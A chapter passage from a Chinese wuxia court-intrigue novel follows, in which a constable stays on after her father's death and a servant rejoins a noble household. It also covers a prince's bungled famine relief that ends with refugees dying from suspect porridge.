相捕头盯着她,目光如鹰隼,喻枫在心里给自己鼓着劲,毫不心虚地迎上去。 “你的身份,我和纪大人一定会保密,但是世间没有万全保守秘密的法子,所以我还是建议你,反正案子也结了,你……秘密安葬了你爹之后,就辞官走吧,我们会帮你掩盖首尾。”相捕头难得放缓了声音。 喻枫阴郁的眼神让他有些皱眉:“是大人不放心我,还是相捕头不放心?” “喻枫,你在我手下五年,勤勉出色,没有一丝错处,我当然是相信你的,大人也说过,疑人不用,用人不疑,隐瞒你的身份让你继续当捕快并非不可,但是你父亲既然被江湖仇杀,焉知这份仇恨不会延续到你身上?我们同事一场,我不愿意看到有一天你横尸当场,你懂吗?!” 喻枫抿嘴,退后一步,郑重地躬身作揖:“入公门当日,我得大人教诲,立誓以身戮恶,捍卫公义,保护地方太平,喻枫……从来矢志不渝!问心无愧!” 就像江潮生对她隐瞒了一部分,喻枫对相捕头也隐瞒了曹表舅是土匪的线索,说出来只会给她的身份更增加麻烦。 公道堂的案子没查清,她不会走! 江潮生灰头土脸地窝在鼎香楼后厨烧水的大灶旁,其余的灶不让他靠,嫌他脏。 张发财蹲在他旁边,一边辛苦地择鸡毛菜一边唠叨:“我的哥,你咋越混越回去了,上次见你还穿得齐齐整整的呢,现在又把自己变成叫花子了。” 远处传来陆大厨的叫骂:“死胖子!别偷懒!光会闲白话了!” 吓得张发财一缩脖子,叽叽咕咕地抱怨:“都是你啊,上次空嘴说要送餐,菜钱没入账就算了,连食盒都没拎回来啊,那一套碗碟也很贵的,老板要从我月钱里扣哩!” “我不是给了你银子。”江潮生这几天满脑子混乱,前尘往事和如今的形势在脑子里搅成一团乱麻,别说商量,连个能说的人都没有,他一时不知道自己该怎么办才好,只能乌龟一样缩起来,恨不能做一只煨灶猫。 张发财偷偷回头看确实没人,小声地说:“那可不能赔在里面,不是说攒给我开面摊的吗?” “银子是王八蛋,走了又会来,你现在不赔,陆扒皮把你月钱扣到三年后了,你想走都走不了,什么时候才能开上面摊?什么时候才能娶你心爱的阿水姐姐?” 张发财立刻郑重起来:“有道理!” 忽然又觉得不对,一把烂菜叶甩过去:“不对呀!食盒是你拿走的,明明是该你赔啊!” 江潮生无赖地敞开怀:“来搜!除了这身破衣裳,能搜出个跳蚤来都给你午饭加餐。” 两人正在笑闹,陆大厨的身影在厨房门口出现,张发财立刻低下头,竭力想装作不存在。 “张发财,有人找……还有,食盒送回来了。”陆大厨看他不动,又立起眼睛来骂,“自己去把账上的欠条消了啊!扣钱上瘾是吧?” “来喽!”张发财喜出望外,扔下鸡毛菜以不符合体型的灵活一溜烟地跑了出去。 陆大厨闪开身子,喻枫提着食盒站在门口,一身捕头的利落装束,手握单刀,和平时一样英姿飒爽。 张发财吓了一跳,点头哈腰,殷勤地去接:“怎么好麻烦喻捕头,您随便招呼个人说一声——” “江潮生在吗?”喻枫打断了他的话。 不用张发财说话,她已经看到了江潮生懒洋洋地缩在灶头旁边,脸上身上蹭着锅底灰也毫不在乎的惫懒样子。 喻枫举步走了过去,在小凳子上坐下,后厨无人,除了锅里的水咕咕冒泡,一片寂静。 “是来告别的吗?”江潮生把脸在破烂袖子上蹭了蹭,含糊地说,“一路平安啊,喻捕头。” “谁跟你说我要走了?”喻枫眯起凤眸,警惕地问。 忽然她又泄气地垮下肩膀,低声说:“连你也以为……我应该走是吗?你也觉得我爹真的是大罪人是吗?就因为公道堂审判了他?你们都觉得公道堂是大英雄,那大英雄杀的当然是坏人无疑了。” 喻枫冷笑起来:“是啊,公道堂,多正义!满大街都在议论,说我爹死得好,判仙笔下无冤魂,可我不信!我不信我爹真的收买贼赃,和盗匪勾结,我更不相信龙王庙那些东西是我爹藏的!公道堂就一定正确吗?他们滥用私刑,随意处死他们觉得有罪的人,这样都可以的话,将朝廷法度置于何地!?” 江潮生勉强坐直身体,看着喻枫眼睛发红却又强忍着不哭出来的样子,轻声劝慰:“江湖有江湖的规矩,他们不喜欢朝廷介入,何况……” 他没有说下去,喻枫却明白,这几十年的大宁朝,内忧外患,就没有过上几年好日子,至于官差,老百姓流传的‘衙门口朝南开,有理无钱莫进来’足以证明一切。 “我老家,有个捕快十分凶恶,走在街上大家看他就跟老虎一样,又怕又恨。”喻枫眉眼低垂,声音也极低,“我当时就想,以后等我长大了,我也要当捕快,当然不是为了像他一样欺压百姓,而是……当觉得不平的时候,总要有人站出来改变的,我决定自己做一个问心无愧的捕快,至少,可以好一点点。” 她抬起眼睛看着江潮生:“可是现在,我已经不知道自己能不能走下去了,我以为我当捕快靠的是自己勤勉能干,但是……” “嗨!你还想着那天曹表舅说的话呢?别信他的,他就是个土匪啊!”江潮生大大咧咧地宽慰,“什么十万两在万花楼买帮派的面子,可能吗?江洲城里帮派林立,一夜过去人死帮消的多了去了,像朱老大,傻子才会信花十万两能买平安呢,他骗你的,动摇你的心志,想把你骗出江洲城去杀——掉也未可知呢!” 喻枫突然笑了,看着江潮生瞪着眼睛,煞有介事的样子,点点头又摇摇头:“嗯,你说得对,我不该相信他,我不走,留下来以后我还当捕快,街上遇到你寻衅滋事,我还抓你!” 江潮生不知道说什么好,摸着后脑憨憨地笑起来,喻枫从怀里掏出一包银子,沉甸甸地扔在他身上:“对了,谢谢你帮我,这是我全部的积蓄,一共二十四两,算是谢礼加酬劳吧。” “唉,哎!?”江潮生一骨碌爬起来,打开包着的手帕一看,果然是大大小小的银子,他激动得声音都颤抖起来,“发财!张发财!你的面摊有指望了!” 张发财举着手从外面奔进来,一把抱住江潮生,两个人四只胳膊抱着银子在一起又跳又叫,欢乐之情溢于言表。 喻枫站起来,伸展了一下身体,以前看到江潮生嬉皮笑脸的时候,只觉得他惫懒油滑,此刻看来,倒确实是真情流露。 原来,自己从前还是心生偏见了,以后这毛病要改。 喻枫这么想着,刚要转身离开,江潮生把银子直接扔给张发财让他抱着继续乐,奔到喻枫面前拦住了她,眼睛亮闪闪地要求:“喻捕头,你再帮我一个忙!” 就在这一瞬间,他也决定了。 6. 第五章 赈灾之祸 于是,在一个阳光明媚的下午,小院的门被彬彬有礼地叫开,喻枫手挎单刀,身着捕头服,脚踏皂靴,长身玉立丁字步往门口一站,板着俏脸问:“主人家呢?出来,有事!” 这种世道里,捕快临门,焉得不慌,长寿吓得赶紧冲到门前,他没个章法,扯着嗓子喊:“来人呐!有人来了!” 他说得没头没脑,香堇和陶陶从厢房里一起走出来张望,高远也从正房窜出来,只看了一眼就皮笑肉不笑地问:“是官差呀?你掂量掂量,这里是你能来打秋风的地方不是?” 喻枫昂着下巴,不屑地瞥了他一眼:“什么乱七八糟的?是不是你们前几天去衙门报案,说走失了一个奴仆?哪,给你们找回来了!” 她将身一偏,一个灰头土脸,破衣烂衫的人几乎是从外面滚地葫芦一般窜了进来,扯着嗓子就开始哭喊:“哎呀!可算见到你们了,我遭老罪了啊!” 他头发散乱,遮住脸,就算不遮,脸上泥土脏得也看不清长什么模样,胡乱地伸着两只手往前摸索,试图要抓住救命稻草一般:“香堇姐姐!高护卫!陶陶妹子……亲人们呐!” 看着他两只脏手,所有人不由得齐齐往后退了一步,江潮生捞了个空,索性往地上一趴,捶胸顿足地哭了起来:“总算回家了!我再也不出门了啊,外面太危险了!” 就算八面玲珑如香堇,一时也不知所措,只能挤出一个困惑的笑容:“这位差爷……不不不,是官差姐,这是怎么回事啊?你们从哪儿找到他的?” 喻枫不耐烦地挥手:“让他自己说呗。” “我说我说!长寿,给哥先端碗水!”江潮生抹去眼泪,顺便把脸上的污渍也擦去了一部分,露出了真面目。 一气喝完一碗水之后,在场众人就听到了一个绘声绘色,惊险万分的故事,说的是他走在路上被帮派绑架了,不但搜走了所有银子,这几天还一直被关押着连打带骂拷问不休,幸亏喻枫带领衙役查抄赌坊时候,惊动了看守他的人,他趁机反抗,才被解救出来。 高远哼了一声:“你个穷鬼,哪个不长眼的帮派绑架你?” “他们一直问公子的情况啊!问有没有钱,家里丫鬟姐漂亮不漂亮,护卫是不是个饭桶,门口有没有衙门的人经过。” 高远脸色变了,恨不得上去抽他,碍于喻枫还站在旁边没动手,陶陶眨着眼,单纯地叹息:“阿生哥,那你没给我买丝线回来啊?” “还丝线,我活着回来就不容易啊。”江潮生那叫一个呼天抢地,又忙着给喻枫打躬作揖:“感谢捕头!送我回家。” 喻枫会意,抬头扫了他们一眼:“人,我算送到了,明儿去府衙把案子销了。” 说罢她转身要走,香堇心思陡转,笑盈盈地说:“巧了,我们本就觉得两个小厮太多,商量着裁掉一个,阿生,你既然走了,就别回来了。” 江潮生愣了一下,若在平时,他当然是有多远跑多远,但是现在他已经知道叶景行就是唐景行,是现在拿着判仙笔的人,这里面的内幕不弄清楚,他如何能走? “不!一日卖身,终身为仆!”江潮生干脆在青石板地上躺成了大字型,“我死也不走,你们不知道,外面真太可怕了哇!” 高远三白眼一瞪,阴恻恻地提醒:“想耍赖?也不看看这是谁的地盘,哦,想当奴仆是吧?香堇!拿了他的卖身契把他卖得远远的!” 香堇也头疼这个突兀出现的江潮生该如何打发,但高远这话她不爱听,冷笑道:“怎么,高护卫还使唤起我来了?” 正说着,门口帘子一掀,叶景行踱步而出。 他依旧玉冠锦衣,一尘不染,手里拿了块丝帕遮住嘴,微微咳了一声,一举一动优雅无比,十足贵公子的风范,江潮生闭紧了嘴巴,贪婪地用眼神一寸寸描绘他的脸,试图找到童年小伙伴的模样相同之处。 变了,一切都变了,唐景行温和善良,总是笑得眉眼弯弯,而叶景行黑眸冷冽,眼尾微微挑起,不自觉就带出一股生杀予夺的威严。 他看呆的时候,叶景行已经走到了面前,香堇紧张地拦住:“公子,这种小事,不敢劳动公子。” 叶景行摇摇头示意她让开,缓步走到江潮生跟前,弯下腰,仔细地打量着他,像在打量一个有趣的玩具。 出乎所有人意料的,他伸出手,捏住了江潮生的下巴,用力逼得他抬起脸,两人的眼睛在这一刻对视了。 香堇倒吸一口凉气,惊恐得不知如何是好:她让公子碰到脏东西了! 却听得叶景行淡淡地说:“那就留下吧,好好擦你的地。” 说完,他用帕子擦了擦触碰过江潮生的手指,嫌弃地丢在青石板上,转身回了屋。 暮春四月,随着几场大雨的降临,中原大地的旱情有所缓解,江洲城外的流民也终于等到了朝廷的赈济。 听说朝中本来早就要赈灾,但是几方意见不合,每每引经据典旁征博引,务必要论证自己才是为国为民呕心沥血,浑然不顾灾民正在流离失所,嗷嗷待哺。 不过,好在皇帝终于发了龙威,为了避免被朝中派系牵制,特地命三皇子叶玟杰带着五十万两白银前来江州,主持赈灾事宜,务必要安抚流民,及早遣返回乡。 江州周边水系丰沛,各村派人没日没夜地踩水车,受旱情影响较少,今年粮食的收成一眼可见还不错,灌浆的麦穗在风中摇摆,不多时就可以割下来入库,更兼江边码头林立,说声要粮,大船一开,上至辽东,下至西南的粮食商人都能及时送到,只要有钱就行。 所以至少从表面上看来,三皇子带着赈灾银两前来,而不是从直隶地区人吃马嚼地发动民夫千里运粮,实在是天子圣明。 纪知府却不是这么想的。 他自从听说赈灾之事是由三皇子叶玟杰坐纛,心里就咯噔一下,今上子嗣不丰,大皇子早年夭折,二皇子生母卑微,一向谨慎得走路都低着头怕踩死蚂蚁,唯独三皇子是皇后嫡出,比下面的两个弟弟出身都正统,早有一群奉行嫡道的大臣围着他转,奉承得无所不至。 只是,他自己也不想想,既然是皇后亲子身份贵重,为何到现在还不封太子? 纪知府是经历过先皇时期的,他那时候只是个七品,芝麻大的官儿,没人看得上,更无人拉拢,哪边都不站才在腥风血雨中躲过了一劫,其实要让他说,先皇当年宠爱七皇子,要不是今上乃皇后所出,满月即封太子,占了先天名分的优势,如今这江山轮到谁坐,还不一定呢。 又想起那位永远礼贤下士,令人如沐春风的先七皇子,现贤王殿下,纪知府的眉头皱得更紧了。 “师爷,去请相捕头来,皇子驾临江州,又为的是赈灾这样的大事,一切安保事宜切不可马虎。”纪知府加重了语气,“尤其是地方上的帮派,必须约束他们老实一些!” 天气暖和,风和日丽,叶景行也更多地走出房门,来院中逗留的时间长了些,江潮生自从被许可留下之后,简直洗心革面,擦灰擦得更起劲了,用长寿的话说:“干净得伸舌头在地上舔都尝不出咸淡。” 这一天,香堇命花儿匠换了院中的盆景,人多脚杂,带进来多少尘土,偏偏叶景行心情好,命人煮茶,说一会儿要赏花。 江潮生恨不得生出八只手来擦地,好容易把青石板地擦得光可鉴人,正要坐下来喘口气,大门却被敲响了。 长寿动作最快,冲到门前,打开门还没开口,就被人热情地抓住:“小哥儿好哇!?” 一通寒暄之后,长寿才听懂,原来对方是江洲城商人行会的成员,正在为三皇子驾临赈灾一事进行募捐。 “这可是大善事!按说你们这富贵人家,没事儿还要烧香拜佛添灯油呢,捐钱给流民买粮食吃饱肚子,送他们回家,这可是现成的功德,人家嘴里要念你们几万个好哩!” 江潮生来了精神,一把拉开长寿,虎起脸说:“你不是骗子吧?哪里有皇子赈灾,要老百姓掏钱的?我看看你这册子上都写着啥,怕不都是些捏造的名字,要唬我们出钱哩!” 来人大方地摊开册子:“来来来,只管看!看这上面写的是不是前面几家的名字?各家少的都捐了十两,多的有四十两呢!” 说罢,他还拿出一大把颜色布条:“你们捐钱登记之后,就送一根布条挂在门上,其他家看到,就知道你捐过了,不会再来打扰,否则,我走了无妨,别的团头作头,可没有我这么好说话。” 香堇不知什么时候出了正房,站在院子里,微笑着听完,点了点头:“确实是好事,阿生,你过来,拿银子给这位团头。” 江潮生赶紧奔过去,从她手里接过两锭银子缴纳,来人眉开眼笑,拿出毛笔舔了舔,册子上给画了个圈,抽出布条在门环上打了个死结,笑眯眯地离开。 长寿愣愣地看着这一切,小声问:“朝廷来人赈灾了?还能送人回家?这么好?” 香堇看了他一眼:“你不是本地人吗?” 长寿憨笑了一声:“我就是替他们高兴哩!还以为朝廷不管他们了,要在江洲城外一直这么过下去。” 香堇轻轻嗤笑一声:“阿生你说的对,皇子赈灾,老百姓掏钱,这三殿下人还没到,银子先准备好了。” 陶陶掀开门帘,叶景行走了出来,他淡漠地抬起黑眸扫了一眼,香堇立刻躬身赔礼:“奴婢失言。” “罢了,去分茶。” 叶景行步下台阶,江潮生赶紧哈腰跟在旁边,殷勤至极:“公子这边走,这边有荫凉,公子小心些,莫踩在石缝上,公子——” 叶景行站住了,清凌凌地扫了他一眼,目光中无悲无喜,却让江潮生尬笑着住了嘴,腰又往下弯了弯。 如果不是当了叶景行的仆人,江潮生都没想到有钱人赏个花能闹出这么大动静,紫檀木小桌,金丝草的蒲团,轻柔若云霞的丝萝搭起天棚,四角缀着明珠,自然垂落,既不让蜂蝶侵扰,又不至于挡着拂面的春风。 叶景行就在这珠绕翠拥之间,静静地坐着,静静地看着面前的花,姿态优雅,几乎把自己坐成了一座玉雕。 江潮生蹲在一边,大气都不敢出一下,长寿早就不知道躲哪儿去了。 香堇垂袖站在旁边,陶陶用小扇子轻轻扇火,小泥炉上的热水沸腾起来,冲入早就放好茶叶的白玉盅,清香四溢。 就在这时候,叶景行终于开口了:“三殿下什么时候到?我去见他一面。” 香堇敛袖应声:“是,奴婢这就写帖子去。” 叶景行的下一句话,让她脸色愕然:“让阿生跟着吧。” 香堇转头看着江潮生,江潮生也惊讶不已:“我?” “怎么,跟着我,还怕有人绑架你?”叶景行微微斜身看他。 “不能够!跟公子出去,他们肯定是先绑架公子啊,不不不……小的不是那个意思。”江潮生结结巴巴地否定,脸都红了,“小的没见过世面,出门怕给公子丢脸!” 香堇虽然不解,但叶景行话已出口她也只能附和一笑:“瞧你傻的,当奴才不本分才丢脸呢!叫你跟着你就去,这么好的差使,换了别人,欢喜都欢喜不过来。” 香堇回屋,慎重地写好拜帖,送去正房给叶景行过目的时候,还是说出了心中疑问:“公子,为何要阿生跟着?他上次失踪,所有都是他一家之言,并无旁证,十分可疑。” 叶景行轻轻一笑:“你和陶陶,还是少在叶玟杰面前露脸为好,他那种人哪知道什么叫忌讳。” 香堇闻言也想了起来,脸上微露不屑之色:“那也可以带长寿,他不是官府的探子吗?总不至于刺探到皇子身边去。” “都是探子,带哪一个又有什么分别。”叶景行伸出手指敲了敲桌子,“只是赈灾大事,为何会交给叶玟杰,义父怎么不阻止呢?” 香堇轻声提醒:“有传言,三殿下要入朝听政了,毕竟是皇后所出,王爷自有打算吧。” 还有的话她不敢说,毕竟满朝都知道,叶晟以一个闲散郡王之子,一跃而成帝王心腹朝廷重臣,还不是因为在先皇期间早早地倒向了当今圣上,押宝大成功。 当然,话又说回来,勤郡王府之所以败落,也是因为在上上代夺嫡中站错了队,被先皇厌弃了二十几年。 可见这从龙之功犹如火中取栗,栗子香甜,烧着手也是真烫。 “我不信义父是趋炎附势之人,一定另有原因。”叶景行淡淡地说,随手把拜帖丢到桌上,“叫高远去打听一下。” 皇子奉旨赈灾,自然不是找个客栈下榻,江洲城早年也奉过圣驾驻跸,有一座行宫在,此刻正好打扫出来恭迎三皇子。 江潮生穿戴一新,坐在车尾的横档上,好奇地东张西望,还没到行宫的时候,就看见灯火辉煌,照亮了半边天,映得天上的星月都黯然无光。 等到了跟前,更是宫灯高悬,门前亮如白昼,马车来回穿梭,简直是宾客盈门。 叶景行的马车都被阻了一阻,江潮生麻利地爬下马车,刚要上前说好话,高远跳下车辕,冷着脸推开前面挡路的人,直接往负责迎客的仆人面前一站:“我家公子姓叶,还不进去通报!?” 仆人没好气地接过:“瞧见这么多人了吗?都是来叩见殿下的,凭你姓什么,后面排队去!” 叶景行的手指轻轻撩开帘子一角,露出半张俊秀如玉的脸庞,不带任何情绪地问:“要我排队?这是叶玟杰的意思?” 江潮生小声在高远背后嘀咕:“主忧臣辱,主辱臣死,高护卫,你别干站着啊!” 高远手痒地摸着剑,一时不知道是先砍死江潮生还是先砍死没长眼的门子,幸好这时候一个小太监匆匆跑来,挥舞着拂尘,挤出一脸的假笑:“我当是谁,是景行公子到了!您家可是大稀客,快请进!” 他在前面躬身引路,做得十分纯熟,嘴里还念叨:“郡王爷怎么也不事先打个招呼,只听说您出京游历去了,万万没想到在江洲呐!不过也是,自从殿下接了这赈灾的重要差事,那叫一个殚精竭虑,日夜研究,哪有时间见客,嗨,我们殿下的府门都快被踏平了呢。” 叶景行缓步走在长廊上,看着从身边经过,川流不息的仆役宫女们,手上的托盘里不是捧着美食美酒就是各色珍玩,玩味地轻轻一笑:“三殿下不是去年才开府的么,门槛这就平了,这是工部当初修造不利啊。” 小太监被憋得脸都青了,所幸前面就是待客的花厅,不用他继续带路。花厅里欢声笑语,江潮生侧耳倾听,脸上微微变色,叶景行却毫无所觉,用眼神示意他去开门。 门被推开的一瞬间,一股温热的气息带着龙涎香久熏的好闻味道,和醇厚美酒的香气混合在一起,迎面犹如实质般喷了出来,里面的人无不喝得红光满面,看见门开了,一道如仙如梦的人影清清冷冷地站在那里,有人迫不及待摇摇晃晃地站起来:“美人儿来了,坐这,这!” “三殿下。”叶景行面无表情,轻启嘴唇,淡淡地问,“我之前投了帖子过来,说要见你,你就让我在这里见?” 江潮生小心地在他身后张望,室内这个天气已经摆上了冰山,白色雾气蒸腾,飘飘欲仙,主座上坐着一个头戴金冠身着红色锦衣的青年,神气活现,好像一只大公鸡。 旁边坐着四五个也像是官宦公子的陪同,年龄相近,高矮胖瘦各不同,唯一相同之处是投向叶景行不怀好意的目光。 “是景行啊。”叶玟杰阴阳怪气地招呼,“在京里的时候你都不爱理人,怎么还会给我递帖子,我以为有人冒名顶替呢,没放在心上。” 说着,他手一挥,指着身边的陪客介绍:“来了也好,我给你介绍,这都是跟我志同道合的几个好朋友,他们自愿陪我离开京城那锦绣堆,来这干苦差事,一心为国家出力的,来,坐下喝一杯,以后就都是自家人了!” 最靠近门口的青年闻言,赶紧端起酒杯,挤眉弄眼地凑过来:“朋友嘛,当然是越多越好,叶公子啊,我是平西侯家的老七,以前咱们见过,只恨没有机会亲近,今天我先敬一杯?” 他涎着脸,一口喝光了酒,把杯底亮给大家看,获得了一番喝彩。 叶景行连看都没看他一眼,冷声道:“殿下,旱灾殃及三省,百姓流离失所,正在水深火热之中,你既奉旨赈灾,此时理应召集人手商量具体事宜,怎么居然在此吃喝玩乐,就不怕有负皇恩吗?” “怎么,你是来教训我的?”叶玟杰不可思议地睁大眼睛,他自小娇贵,又得了这桩差事,被周围人吹捧得就跟代天巡狩,封禅泰山也没什么区别了,自以为是皇子之中第一人,隐然已经是太子之尊,本来就看不惯叶景行,此刻哪里能容,操起酒壶就往地上一摔,大声喝道,“叫你喝你就喝!废话什么!?不是来投靠我,你又何必过来丢人现眼!?还端什么龙子凤孙的架势,宗室里谁不知道,你不过是勤郡王收养的义子,正经连玉碟都没上呢,就敢站在这里跟我装清高装诤臣!” 在场的四个陪客中,只有一个年岁最长的打着哈哈圆场:“不至于不至于,何必伤了和气呢,还是请进来,喝杯酒,大家说开了就没事。” 叶玟杰冷笑着挑衅:“行,我给大伙儿面子,不扫兴!你乖乖进来端酒给我赔礼,我就当没这事,你要是现在不进来,以后求到我面前,可就不是能站着说话的了。” 这下可真的是‘主辱臣死’了,江潮生偷眼看高远,发现他竟毫不动容,连握剑的手都没有更用力些。 叶景行也没有任何情绪变化,眼神一寸寸扫过室内,在每个人脸上都停留了一瞬,终于开口了:“你好自为之。” 说罢,他一甩袖子,竟然转身走了。 背后大哗,等着他进去赔礼的叶玟杰挂不住面子,直着脖子嚷嚷:“滚!本殿下本想赏你个面子跟着我做事,你自己撕了面子扔地下!跟你那个养父一个德行,又臭又硬!一辈子不结婚不生子,只收养你这么个野杂种,也不知道想干什么见不得人的勾当!” 陪客们一哄而上急忙劝说,叶玟杰却越扶越醉,嚷嚷得更加大声。 连门口的小太监都慌了,一路躬身送出去:“公子息怒,我们殿下这是有了酒了。” 走廊上迎面走过来一群穿着艳丽衣衫,巧笑嫣然的姑娘们,脚下的绣鞋装了木底,踩在空心长廊上叮咚作响,悦耳至极,看见叶景行,无不两颊绯红,燕语莺声地行礼请安,急得小太监直跺脚,拼命使眼色:“正主儿在里头呢。” 江潮生一路都在担心地观察着叶景行,明显感觉他周身散发出一股气势,冷冽到几乎让人怀疑他要动手杀人。 但叶景行始终没有发作,坐进马车里的时候,听见他吩咐了高远一句:“去查。” 查什么?查谁?江潮生心里不解,高远却像是胸有成竹,躬身答应。 叶玟杰虽然在行宫夜夜笙歌,但做出来的赈灾条略倒也算清晰,首先集合城内所有粮商大户,以比市价低二成的价格招商赈灾米粮,若有无偿捐助的义商赐殿下墨宝一副,并且高瞻远瞩地指出:‘粮食要吃到灾民嘴里’,为了避免冒领救济,所以精米白面一律不要,糙米杂面也要差的,里面混了麸子米糠小石头最好。 这个举措一出,不说本地商户踊跃捐粮卖粮,连上下江的粮商也呼啦啦地派人来接洽,江州码头大排长龙。 另外,三殿下特地使人探查了城内外各家各行自行设立的粥棚,觉得良莠不齐,且有沽名钓誉之嫌,故此下令全部取消,只有官府设立的粥棚才是合法机构,当然,有善心想继续舍粥是好事,可以把银子直接送到赈灾账目上。 对叶玟杰在江洲城搞得轰轰烈烈的赈灾行动,叶景行冷笑一声,不予置评,香堇则在背后评价了一个字:“蠢。” “香堇姐姐,你跟我说说,蠢在哪里啊?我咋觉得挺好的。”长寿小声探问,“我可听说了,前些日子,红花会接管了好几家粥棚,说是要给他们抽头儿才行,他们可以负责维持秩序,看着混混不让捣乱,搞得人家都关门了,我觉得还不如交给官府哩。” 香堇拢着袖子,亭亭玉立地站在院子里,犹如一朵新开的鲜花,她朱唇微启,轻声说:“事在人为,条略也许都是好的,就是咱们这位三殿下吧……啧啧” 对于三殿下,纪知府担心得要更多一些,他知道赈灾条略是在京里就做好的,叶玟杰可能就把它带来江州而已,到了江州就开始吃喝玩乐,每日行宫流水般地供给,说一句骄奢淫逸都不为过。 而且,从第一天自己去行宫叩安的时候见过叶玟杰,其余时间都见不到,赈灾事宜都是身边的几个门客接洽,一个个的据说不是勋贵出身,就是书香门第,夸夸其谈的样子好像马上就能治国安邦,但其实连志大才疏四个字都不足以形容。 他提着一颗心,只能千万督促下面做事的官吏务必要小心谨慎,这些灾民离开家乡多则半年,少则也有两三个月,无衣无食,穷困潦倒,每一口粮食都能救一条命,若能安排他们平安回乡重起炊烟,也免得赤地千里,导致人口锐减。 大宁朝,实在也损失不起了。 这一阵子,府衙连轴转,从知府到小吏,都是打足了精神日夜奔走,只希望不要出差错,饶是如此,在某日中午,一声绝望的嘶吼还是划破了江州的天空:“朝廷的粥吃死人了!” 死的是一家三口,夫妻俩和小儿子,家里唯一剩下的老翁跪在尸体面前,已经连哭的力气都没有了,张大嘴巴呃呃地喘气,枯瘦的手伸向天空,满脸都是悲伤绝望。 周围的流民抱着碗,纷纷议论:“可怜呐,好容易熬到现在,他家来的时候是七口人,现在就剩下他一个了。” 负责查案的是段捕头,他皱着眉,如今天气开始热了,流民聚集的窝点肮脏不堪,气味甚大,更有无数蝇虫在周围打转,加上还有尸体在面前摆着……怕不是过个半天就要生蛆。 他从怀中抽出手帕,捂住了鼻子,心里烦躁万分。 老仵作深知此案非同小可,亲自赶来现场,跪在尸体面前,检查了半天,凑过来低声说:“段捕头,查验过了,是饮食不洁,约莫是食用了变质的东西。” “嗯?!”段捕头一个眼刀横过去,“可不敢乱说啊,你明年也要退休了吧?老眼昏花的看仔细没有?” 他一指在原地痛苦欲绝的老人:“一个锅里的粥,他吃了怎么就没事?” 围拢的流民已经骚动起来,议论纷纷:“就是吃死的吧?王老头心疼儿孙,每次打来粥都分一半给他们,自己少少吃个碗底。” “怪不得这几天我一直肚子疼,拉绿稀屎,还以为是野菜吃多了。” “粥一定有问题!不是说皇子特地下令,不让给灾民吃好的?别是把发霉的粮食拿来充数了吧?” 段捕头敏锐地抓到了这句话,转身咆哮:“无知刁民!竟敢在此胡言乱语!诋毁皇子殿下!再多说把你们都抓起来扛枷示众!” 说罢,掩着鼻子高高在上地对老人说:“知道你穷苦,后事就由官府承担,这就把你儿子一家送到义庄火化,日后你回乡带着骨灰也好行路。” “不,不行啊,官爷。”老人哆嗦着从衣襟的缝隙里掏出一点碎银子,枯干的眼眶苦到流不出泪水,执拗地要求,“总要入土为安,我求求大家,帮帮忙,给他们买口薄棺材合葬,一口就行……” 段捕头喝道:“糊涂!这突然死了,谁知道是什么疫病,不赶紧烧了,还等着祸害你周围的乡亲吗?” 他严厉地扫视一眼,四面围着的流民闻听,本来想出来帮忙的也退缩了,眼睁睁地看着衙役们上前抬走了尸体。 段捕头处理得果决,但是流言还是潮水一般蔓延开来,不仅是流言,到了下午,全城各地的流民都有腹痛呕吐拉稀的状况发生,虽然暂时还没有死人,但往日忍饥挨饿的流民此刻倒地呻吟,无力挣扎的样子,竟比赈灾之前还要凄惨。 江洲城里的大夫们前去义诊,凑在一起商量了半天,结论是吃了不当之物,并未详指,纪知府命人将金鱼巷突然空置的几排房屋收拾出来,交给医馆接纳治疗病重灾民,凑银子用大锅熬煮些汤药在城外分发,却也只能治标不治本。 何况肚子饿了总要继续吃饭的,流民们忍着病痛,每日还不得不前去领粥,于是病情反复不已,情况越发严重。 纪知府焦头烂额,几次去行宫求见叶玟杰都被婉拒,还被小太监阴阳:“殿下说了,他只管赈灾,地方上的事由你这个知府全权处理,怎么,还要殿下教你怎么做父母官么?” 偏偏这时候,各大粮商敲锣打鼓到府衙喊冤,把自己供应的粮食都各带了一袋,当面打开验看,声泪俱下地诉说:“我们久蒙圣恩,此时正当报效,哪能做下那等丧良心的事,拿霉变的粮食搪塞赈灾大业?不过是殿下吩咐都要粗粮杂面,那也都是新打下的粮食新磨出来的,带点麸皮米糠罢了,半点陈粮不敢掺在里面,老爷若是不信,我们当堂吃给大家看!若是有毒,第一个毒死我!” 纪知府皱着眉,看到公堂外黑压压观看的人群群情激奋的样子,却也无法阻挡,只能任由他们施为。 围观的百姓来的时候是义愤填膺,觉得定是粮商不仁不义,以次充好,发黑心财祸害灾民,但看到他们几个人跪在地上,流着泪一把把地捞着煮好的稀饭吃,吃到打噎,捶胸顿足还要表明心意:“苍天可鉴!若真是粮食霉变,就叫我吃死在这里!”,也觉得其中是不是有什么误会。 对于这种行为,纪知府评论:“无商不奸,矫揉造作!” 他叫来老仵作,再三询问死因,老仵作小声说:“当时情况不允许,若是能取出胃部残存的食物详细探看,我才敢下结论,如今尸体都被烧了,我也没有办法。” 说完还隐晦地提了一句:“段捕头实在是雷厉风行。” 相不凡也觉得此事有异,暗地把喻枫叫来嘱咐,多盯着行宫里三殿下身边的人和粮商有无来往,着重点醒:“若是有见不得光的银钱往来,一般都是通过钱庄开发银票,方便携带。” 经过几日摸查,喻枫还真发现叶玟杰身边有个姓范的幕僚和粮商来往尤为密切,也时常出入江洲城本地有名的福禄钱庄,她去钱庄问话,却无功而返,福禄钱庄的老板亲自出来,眼睛直勾勾地盯了她半晌,似要说什么,又咽了下去,只含糊地敷衍:“客人的银钱往来,我们自是不敢向外泄露半点的,若是被人知道,我们也不用干了,直接关张了事。” 说罢,他又盯着喻枫,露出些微不可查的焦急:“喻捕头,可还有别的事?” 喻枫有些莫名其妙,她如今只指着俸禄过日子,哪里还能跟钱庄有什么关系? 但直觉上,喻枫断定如果姓范的真和粮商有所勾结,以次充好的话,他们一定还会再来钱庄交易,她只能巡街的时候多来几次,暗中监视。 就在江洲城大半人觉得赈灾粮食有异才导致这场惨剧的时候,高远却给叶景行带来了不同的消息。 “红花会,下毒?”叶景行端茶的手都停了一瞬,狐疑地看过来,“高远,你不要因为上次龙王庙的事就心存怨恨,刻意报复。” 朝廷赈灾,救济灾民,让他们还乡,江洲城内外也可以回复平静祥和,怎么说都是利国利民的大好事,红花会作为地方上的帮派,为什么会横加阻拦? 高远脸色也变了:“公子,当初您都说事出有因,不必追究,我哪里敢违拗您的意思?” 